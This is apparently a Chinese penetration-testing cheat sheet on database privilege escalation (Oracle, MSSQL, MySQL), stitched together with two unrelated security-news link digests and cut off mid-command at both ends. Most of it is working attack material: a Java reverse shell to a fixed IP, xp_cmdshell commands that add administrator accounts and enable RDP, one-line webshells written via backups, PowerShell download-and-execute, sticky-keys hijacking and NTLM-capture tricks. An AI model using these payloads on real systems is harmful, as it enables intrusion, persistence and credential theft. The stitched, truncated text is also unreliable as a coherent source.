dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', '''''' # 查看 all_objects 内部改变 select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%' # 创建函数 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; # 判断是否创建成功 select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' # 执行命令 select LinxRunCMD('id') from dual # 删除函数 drop function LinxRunCMD dbms_java_test.funcall() 影响版本：10g R2, 11g R1, 11g R2 权限：Java Permissions Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual; 执行会有一定报错，但是不影响命令执行 Java反弹shell # linux系统payload import java.io.*; import java.net.*; public class shellRev {        public static void main(String[] args)       {                System.out.println(1);                try{run();}                catch(Exception e){}       } public static void run() throws Exception       {                String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};                Process p=Runtime.getRuntime().exec(aaa);   } } #编译 javac shellRev.java #执行 java shellRev # 创建 Java 库 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class sh end

MSSQL GetShell 扩展存储过程 扩展存储简介 在MSSQL注入攻击过程中，最长利用的扩展存储如下 xp_cmdshell详细使用方法： xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它 execute('sp_configure "show advanced options",1')  # 将该选项的值设置为1 execute('reconfigure')                             # 保存设置 execute('sp_configure "xp_cmdshell", 1')           # 将xp_cmdshell的值设置为1 execute('reconfigure')                             # 保存设置 execute('sp_configure')                            # 查看配置 execute('xp_cmdshell "whoami"')                    # 执行系统命令 exec sp_configure 'show advanced options',1;       # 将该选项的值设置为1 reconfigure;                                       # 保存设置 exec sp_configure 'xp_cmdshell',1;                 # 将xp_cmdshell的值设置为1 reconfigure;                                       # 保存设置 exec sp_configure;                                 # 查看配置 exec xp_cmdshell 'whoami';                         # 执行系统命令 # 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限 exec xp_cmdshell 'net user Guest 123456'           # 给guest用户设置密码 exec xp_cmdshell 'net user Guest /active:yes'      # 激活guest用户 exec xp_cmdshell 'net localgroup administrators Guest /add'  # 将guest用户添加到administrators用户组 exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  # 开启3389端口 扩展存储Getshell 条件 数据库是 db_owner 权限 扩展存储必须开启，涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread 1.查看是否禁用扩展存储过程xp_cmdshell id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+ id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+ 2.执行命令 id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+ id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+ 差异备份GetShell 差异备份简介 差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限，我们可以把数据库备份称asp文件，这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。 前提条件 具有db_owner权限 知道web目录的绝对路径 寻找绝对路径的方法 报错信息 字典爆破 根据旁站目录进行推测 存储过程来搜索 在mssql中有两个存储过程可以帮我们来找绝对路径：xp_cmdshell xp_dirtree 先来看xp_dirtree直接举例子 execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 execute master..xp_dirtree 'c:',1 --只列c:\目录 execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件 当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中 CREATE TABLE tmp (dir varchar(8000),num int,num1 int); insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1; 当利用xp_cmdshell时，其实就是调用系统命令来寻找文件 例如： ?id=1;CREATE TABLE cmdtmp (dir varchar(8000)); ?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i' 读配置文件 差异备份的大概流程 1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';--+ **2.创建表并插入数据** create table [dbo].[dtest] ([cmd] [image]);--+ insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+ **3.进行差异备份** backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+ # 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容：<%execute(request("a"))%> xp_cmdshell GetShell 原理很简单，就是利用系统命令直接像目标网站写入木马 ?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ; 这里要注意 <和>必须要转义，转义不是使用\而是使用^ 文件下载getshell 当我们不知道一些网站绝对路径时，我们可以通过文件下载命令，加载远程的木马文件，或者说.ps1脚本，使目标机器成功上线cs或者msf MSSQL提权 存储过程说明 xp_dirtree 用于显示当前目录的子目录，有如下三个参数   directory：表示要查询的目录   depath：要显示子目录的深度，默认值是0，表示所有的子目录   file：第三个参数，布尔类型，指定是否显示子目录中的文件，默认值是0，标水不显示任何文件，只显示子目录 xp_dirtree 能够触发NTLM请求xp_dirtree '\\<attacker_IP>\any\thing' xp_subdirs 用于得到给定的文件夹内的文件夹列表 exec xp_subdirs 'c:\' xp_fixeddrives 用于查看磁盘驱动器剩余的空间 exec xp_fixeddrives xp_availablemedia 用于获得当前所有的驱动器 exec xp_availablemedia xp_fileexist 用于判断文件是否存在 exec xp_fileexist 'c:\windows\123.txt' xp_create_subdir 用于创建子目录，参数是子目录的路径 exec xp_create_subdir 'c:\users\admin\desktop\test' xp_delete_file 可用于删除文件，但是不会删除任意类型的文件，系统限制它只能删除特定类型（备份文件和报表文件） 第一个参数是文件类型（File Type），有效值是0和1，0是指备份文件，1是指报表文件； 第二个参数是目录路径（Folder Path）， 目录中的文件会被删除，目录路径必须以“\”结尾； 第三个参数是文件的扩展名（File Extension），常用的扩展名是'BAK' 或'TRN'； 第四个参数是Date，早于该日期创建的文件将会被删除； 第五个参数是子目录（Subfolder），bool类型，0是指忽略子目录，1是指将会删除子目录中的文件； xp_regenumkeys 可以查看指定的注册表 exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International' xp_regdeletekey 删除指定的注册表键值 EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'; xp_regwrite 描述： 修改注册表 利用条件： xpstar.dll 修改注册表来劫持粘贴键(映像劫持) (测试结果 Access is denied，没有权限) exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe' sp_addextendedproc 可以用于恢复组件 EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll' EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll' EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll' sp_dropextendedproc 用于删除扩展存储过程 exec sp_dropextendedproc 'xp_cmdshell' xp_cmdshell 描述： xp_cmdshell 是 Sql Server 中的一个组件，我们可以用它来执行系统命令。 利用条件： 拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system，2008 中是 network。 依赖 xplog70.dll -- 判断当前是否为DBA权限，为1则可以提权 select is_srvrolemember('sysadmin'); -- 查看是否存在 xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- 查看能否使用 xp_cmdshell，从MSSQL2005版本之后默认关闭 select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' -- 关闭 xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; -- 开启 xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; -- 执行 xp_cmdshell exec xp_cmdshell 'cmd /c whoami' -- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行 exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""' 无回显，也无法进行dnslog怎么办： 通过临时表查看命令执行结果（在注入时，要能堆叠） CREATE TABLE tmpTable (tmp1 varchar(8000)); insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig' select * from tmpTable 如果 xp_cmdshell 被删除了: 如果 xp_cmdshell 被删除了，需要重新恢复或自己上传 xplog70.dll 进行恢复 以mssql2012为例，默认路径为: C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll-- 判断存储扩展是否存在,返回结果为1就OK Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' -- 恢复xp_cmdshell,返回结果为1就OK Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' -- 否则上传xplog70.dll Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll' sp_oacreate 描述： 使用sp_oacreate的提权语句，主要是用来调用OLE对象（Object Linking and Embedding的缩写，VB中的OLE对象），利用OLE对象的run方法执行系统命令。 利用条件： 拥有DBA权限 依赖odsole70.dll -- 判断当前是否为DBA权限，为1则可以提权 select is_srvrolemember('sysadmin'); -- 判断SP_OACREATE状态,如果存在返回1 select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' -- 启用 sp_oacreate exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures', 1; reconfigure; -- wscript.shell组件执行系统命令 declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@ffffffff0x output exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; -- 输出执行结果到指定文件 declare @ffffffff0x int exec sp_oacreate 'wscript.shell',@ffffffff0x output exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt' -- 利用com组件执行命令 declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; -- 利用com组件写文件 DECLARE @ObjectToken INT; EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT; EXEC Sp_OASetProperty @ObjectToken, 'Type', 1; EXEC sp_oamethod @ObjectToken, 'Open'; EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078; EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2; EXEC sp_oamethod @ObjectToken, 'Close'; EXEC sp_OADestroy @ObjectToken; -- 利用filesystemobject写vb脚本 （目录必须存在，否则也会显示成功，但是没有文件写入） declare @o int, @f int, @t int, @ret int,@a int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(这里是文件写入的内容)' -- 配合 wscript.shell 组件执行 DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs] -- 复制具有不同名称和位置的 calc.exe 可执行文件 （测试未成功） declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe'; -- 移动文件 （测试好像只有 利用写入的VB脚本才能创建） declare @ffffffff0x int exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt' -- 替换粘滞键 declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe'; declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe' -- 使用JavaScript创建账户，更改其密码并将新账号添加到管理员组 （测试未成功） declare @ffffffff0x int EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript' EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("123456!@#","");z.setting("AccountType")=3;'; SQL Server Agent Job 代理执行计划任务 描述： SQL Server 代理是一项 Microsoft Windows 服务，它执行计划的管理任务，这些任务在 SQL Server 中称为作业。 利用条件： 拥有 DBA 权限 需要 sqlserver 代理 (sqlagent) 开启，Express 版本Sql Server 是无法启用的 -- 开启 sqlagent 服务 (还是没有权限，很纳闷，sa账户登录 还没权限) exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'; -- 利用任务计划命令执行（无回显,可以 dnslog） -- 创建任务 test，这里test为任务名称，并执行命令，命令执行后的结果，将返回给文本文档out.txt use msdb; exec sp_delete_job null,'test' exec sp_add_job 'test' exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"' exec sp_add_jobserver null,'test',@@servername exec sp_start_job 'test'; CLR提权 描述： 从 SQL Server 2005 (9.x) 开始，SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言（包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#）来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。 - https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/c CLR 方式可以利用 16 进制文件流方式导入 DLL 文件，不需要文件落地 https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt dll的制作可以参考下面的文章 https://xz.aliyun.com/t/10955#toc-12 利用条件： 拥有DBA权限 -- 启用CLR,SQL Server 2017版本之前 sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项 sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的 -- 启用CLR，SQL Server 2017版本及之后,引入了严格的安全性，可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限 sp_configure 'show advanced options',1;RECONFIGURE; sp_configure 'clr enabled',1;RECONFIGURE; sp_add_trusted_assembly @hash= <SHA512 of DLL>; -- 将某程序集的SHA512哈希值添加到可信程序集列表中 -- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库 EXEC sp_changedbowner 'sa' ALTER DATABASE [test] SET trustworthy ON -- 导入CLR插件 CREATE ASSEMBLY [mssql_CLR] AUTHORIZATION [dbo]  FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006607056200000000000  WITH PERMISSION_SET = UNSAFE; GO -- 创建CLR函数 CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand] go -- 利用CLR执行系统命令 exec dbo.ExecCommand "whoami /all"; ------------------------------------------------------------------------------------------------------------------------------ -- 格式简化 -- 导入CLR插件 CREATE ASSEMBLY [clrdata] AUTHORIZATION [dbo] FROM 0x16进制的dll WITH PERMISSION_SET = UNSAFE; -- 创建CLR函数 CREATE PROCEDURE [dbo].[testclrexec] @method NVARCHAR (MAX) , @arguments NVARCHAR (MAX) AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec] -- 利用CLR执行系统命令 exec testclrexec 'cmdexec',N'whoami' 触发器提权 触发器是一种特殊类型的存储过程，它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。 SqlServer 包括三种常规类型的触发器：DML 触发器、DDL 触发器和登录触发器 登录触发器： 登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此，来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败，将不激发登录触发器。 -- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 (user 表 必须存在，且 容易 卡死 因为这个calc在运行 查询就不会停止) set ANSI_NULLS on go set QUOTED_IDENTIFIER on go create trigger [ffffffff0x] on [user] AFTER UPDATE as begin   execute master..xp_cmdshell 'cmd.exe /c calc.exe' end go -- user 表 update 更新时，自动触发 UPDATE user SET id = '22' WHERE nickname = 'f0x' SQL Server R 和 Python 的利用 描述 在 SQL Server 2017 及更高版本中，R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本 利用条件： Machine Learning Services 必须要在 Python 安装过程中选择 必须启用外部脚本 EXEC sp_configure 'external scripts enabled', 1 RECONFIGURE WITH OVERRIDE 重新启动数据库服务器 用户拥有执行任何外部脚本权限 -- R脚本利用 -- 利用 R 执行命令 sp_configure 'external scripts enabled' GO EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text)); GO -- 利用 R 抓取 Net-NTLM 哈希 @script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")' -- Python脚本利用 -- 查看版本 exec sp_execute_external_script @language =N'Python', @script=N'import sys OutputDataSet = pandas.DataFrame([sys.version])' WITH RESULT SETS ((python_version nvarchar(max))) -- 利用 Python 执行命令 exec sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' -- 利用 Python 读文件 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' WITH RESULT SETS (([cmd_out] nvarchar(max))) AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权) AD Hoc 分布式查询允许从多个异构数据源（例如 SQL Server 的多个实例）访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后，登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。 攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。 利用条件 拥有 DBA 权限 sqlserver 服务权限为 system 服务器拥有 jet.oledb.4.0 驱动 -- 修改注册表，关闭沙盒模式 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 -- 开启 Ad Hoc Distributed Queries EXEC sp_configure 'show advanced options', 1 RECONFIGURE GO EXEC sp_configure 'ad hoc distributed queries', 1 RECONFIGURE GO -- Until SQL Server 2012 EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 -- SQL Server 2014 or later EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1 -- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可. -- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令. -- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令. Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb', 'select shell("whoami")'); select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Device42 IT资产管理平台被发现多个严重漏洞 https://www.securityweek.com/critical-vulnerabilities-found-device42-asset-management-platform 2、Palo Alto Networks PAN-OS存在漏洞被用于反射型放大DoS攻击 https://www.securityweek.com/palo-alto-networks-firewalls-targeted-reflected-amplified-ddos-attack 3、思科修补了ASA和Firepower软件中的高危RSA私钥泄露漏洞 https://www.securityweek.com/cisco-patches-high-severity-vulnerability-security-solutions 4、Cuba勒索软件的攻击者使用新的远控木马 https://thehackernews.com/2022/08/hackers-behind-cuba-ransomware-attacks.html 5、公安部：刷单类电信网络诈骗案持续高发，占全部电诈案四成 https://www.ithome.com/0/634/257.htm 6、美国对朝鲜黑客关联加密货币 Tornado Cash 实施制裁 https://www.secrss.com/articles/45636 7、Cloudflare 员工也受到 Twilio 泄露事件背后的黑客攻击 https://www.bleepingcomputer.com/news/security/cloudflare-employees-also-hit-by-hackers-behind-twilio-breach/ 8、PyPI 中发现新的窃取用户凭证的恶意 Python 库 https://www.infosecurity-magazine.com/news/malicious-python-libraries-found/ 9、因客户信息安全管理不到位，农行被罚 30 万一人被禁业 3 年 https://www.mpaypass.com.cn/news/202208/10111401.html 10、《云计算安全责任共担模型》行业标准正式发布 https://www.secrss.com/articles/45623

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、NetModule 路由器软件 (NRSW) 中发现新的严重漏洞 https://www.securityweek.com/organizations-warned-critical-vulnerabilities-netmodule-routers 2、英特尔修补固件、管理软件中的严重漏洞 https://www.securityweek.com/intel-patches-severe-vulnerabilities-firmware-management-software 3、UnRAR 漏洞(CVE-2022-30333)被利用，可用于入侵 Zimbra 服务器 https://www.securityweek.com/unrar-vulnerability-exploited-wild-likely-against-zimbra-servers 4、思科披露5月下旬被Yanluowang勒索组织入侵并窃取了内部数据 https://securityaffairs.co/wordpress/134278/hacking/yanluowang-ransomware-hacked-cisco.html 5、Microsoft Edge 通过增强的安全模式加强对恶意网站的防御 https://portswigger.net/daily-swig/microsoft-edge-deepens-defenses-against-malicious-websites-with-enhanced-security-mode 6、研究人员发现10个恶意PyPI包窃取开发者凭据 https://www.bleepingcomputer.com/news/security/10-malicious-pypi-packages-found-stealing-developers-credentials/ 7、Reddit中的IDOR漏洞允许攻击者提权 https://portswigger.net/daily-swig/simple-idor-vulnerability-in-reddit-allowed-mischief-makers-to-perform-mod-actions 8、微软警告称配备最新 CPU 的 Windows 设备容易受到数据损坏 https://www.bleepingcomputer.com/news/microsoft/windows-devices-with-newest-cpus-are-susceptible-to-data-damage/ 9、ChekPoint报告显示全球网络攻击激增 42%，勒索软件成为头号威胁 https://www.ithome.com/0/633/868.htm 10、电子邮件营销公司Klaviyo被攻击，数据已泄露 https://www.bleepingcomputer.com/news/security/email-marketing-firm-hacked-to-steal-crypto-focused-mailing-lists/

mysql提权 MOF提权 MOF 提权是一个有历史的漏洞，基本上在 Windows Server 2003的环境下才可以成功。 提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof文件每 隔一段时间（几秒钟左右）都会被系统执行，因为这个 MOF 里面有一部分是 VBS 脚本，所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令，如果 MySQL 有权限操作 mof目录的话，就可以来执行任意命令了。 经测试win7虽然存在这个文件目录，但是mysql以管理员权限运行，也会提示写入失败。 UDF提权 UDF说白了就是自定义函数，是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能，其添加的新函数都可以在SQL语句中调用，就像调用本机函数 version() 等方便。 如果我们添加的自定义函数可以执行系统命令，那么是不是就相当于以mysql的权限去执行系统命令，如果mysql的权限比较高，是不是就可以达到一种权限提升的效果 动态链接库 构建UDF的过程，其实就是调用动态链接库的过程，因此我们首先必须知道动态链接库存放的位置，以及要有合适的动态链接库 如果mysql版本大于5.1，udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下 如果mysql版本小于5.1，udf.dll文件在windows server 2003下放置于c:\windows\system32目录，在windows server 2000下放置在c:\winnt\system32目录 show variables like '%plugin%'; # 查找插件目录 select @@basedir; # 查找 mysql 安装目录 那么动态链接库文件去哪里找呢？实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。 sqlmap 的 UDF 动态链接库文件位置 sqlmap根目录/data/udf/mysql 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过，不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用，cloak.py 的位置为：/extra/cloak/cloak.py ，解码方法如下： # 解码 32 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so # 解码 64 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so # 解码 32 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll # 解码 64 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll Metasploit的UDF动态链接库文件位置/usr/share/metasploit-framework/data/exploits/mysql 两款工具带的动态链接库是一样的 寻找插件目录 如果不存在的话 select @@basedir; # 寻找MySQL的安装目录 然后通过webshell手动去创建 写入动态链接库 方法一： 当SQL 注入且是高权限，plugin 目录可写且需要 secure_file_priv 无限制，MySQL 插件目录可以被 MySQL 用户写入，这个时候就可以直接使用 sqlmap 来上传动态链接库，又因为 GET 有字节长度限制，所以往往 POST 注入才可以执行这种攻击 sqlmap -u "http://localhost:30008/" 